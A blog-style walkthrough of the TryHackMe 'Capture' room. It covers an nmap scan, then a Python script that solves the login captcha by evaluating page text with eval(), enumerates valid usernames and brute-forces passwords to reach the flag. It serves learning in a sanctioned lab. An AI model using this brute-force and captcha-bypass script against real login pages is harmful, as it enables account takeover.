It’s been a while since my last post but here we go again. This time with the Capture room on TryHackMe.
TryHackMe Room: LINK
Difficulty: Easy
Table of Contents
Prerequisites
- Connect to the TryHackMe VPN
- Start the room and note the IP address of your server
- Download the task files provided in the room
Recon
As with every CTF, we need to start with some reconnaissance.
└─$ nmap -sC -sV $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 20:53 CET
Nmap scan report for 10.10.81.250
Host is up (0.040s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.2.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
The only port available to us is port 80/http, which is serving a website. Upon checking, all we can find is a login page.

When entering admin:admin, we can see that the server responds with “The user ‘admin‘ does not exist“.

This tells us that we can potentially enumerate a list of existing users and then bruteforce the password. What a coincidence that the task files contain lists for both. Let’s get to work.
Brute Force
Bruteforcing can be done with a lot of tools, I like to use Hydra. However we quickly notice that the website starts asking for a captcha after a few login attempts.

The captcha is just a simple math equation but it makes using hydra or ffuf a lot harder. It’s time for a custom script.
Python code
To be completely clear, I am not an expert when it comes to Python. The following code works on my machine, but I cannot guarantee anything. I am absolutely sure that anyone with more Python experience would look at this and laugh.
#make sure that the captcha is already activated before running this script.
import requests
import os
#edit the target IP
target = "YOUR_IP_HERE"
# make sure that the task files are in the same directory
users = open("usernames.txt","r")
passwords = open("passwords.txt", "r")
#do not edit anything below here
captcha = ""
found_user = ""
found_password = ""
print("Enumerating users...")
for each in users:
each = each.strip()
r=requests.post("http://" + target + "/login", data={'username':each, 'password':'pass','captcha':captcha})
output=r.text.split("\n")
if "does not exist" not in r.text and "Invalid captcha" not in r.text:
found_user = each
print("Username: " + found_user)
break
captcha_question=output[96]
captcha = eval(captcha_question[:-4])
print("Enumerating passwords...")
for each in passwords:
each = each.strip()
r=requests.post("http://" + target + "/login", data={'username':found_user, 'password':each,'captcha':captcha})
output=r.text.split("\n")
if "Invalid password" not in r.text and "Invalid captcha" not in r.text:
print("Password: " + each)
found_password = each
print("--------")
print("Login Response:")
print(r.text)
exit()
captcha_question=output[96]
captcha = eval(captcha_question[:-4])
└─$ python3 capture_thm.py
Enumerating users...
Username: ****
Enumerating passwords...
Password: ****
--------
Login Response:
<h2>Flag.txt:</h2>
<h3>**********************</h3>
Code Explanation
The script takes the provided files and sets them as variables.
users = open("usernames.txt","r")
passwords = open("passwords.txt", "r")
For each user in the usernames file we send a login request to the server and read the response. The respone contains a captcha on line 96 that is calculated and saved to a variable for the next request.
r=requests.post("http://" + target + "/login", data={'username':each, 'password':'pass','captcha':captcha})
[...]
captcha_question=output[96]
[...]
captcha = eval(captcha_question[:-4])
If the login response does not contain “Does not exist” or “Invalid captcha”, we know that we have found a valid username and break out of the loop.
if "does not exist" not in r.text and "Invalid captcha" not in r.text:
found_user = each
print("Username: " + found_user)
break
The password enumeration works almost the same with the only difference being that the login response now needs to be filtered for “Invalid password” instead of “Does not exist”. Once that is the case we print the response text which contains the flag. Also, we remove the output.txt file upon completion and exit the script.
if "Invalid password" not in r.text and "Invalid captcha" not in r.text:
print("Password: " + each)
found_password = each
print("--------")
print("Login Response:")
print(r.text)
exit()
Fun Fact: If the correct username or password are the first entries in their files, the script won’t find them. The first request for each enumeration phase contains an empty captcha and returns “Invalid Captcha” as a response.
Conclusion
This concludes the Capture room on TryHackMe. I had a lot of fun solving this one and I learned a lot about Python programming. I am still bad at it tho… 🙂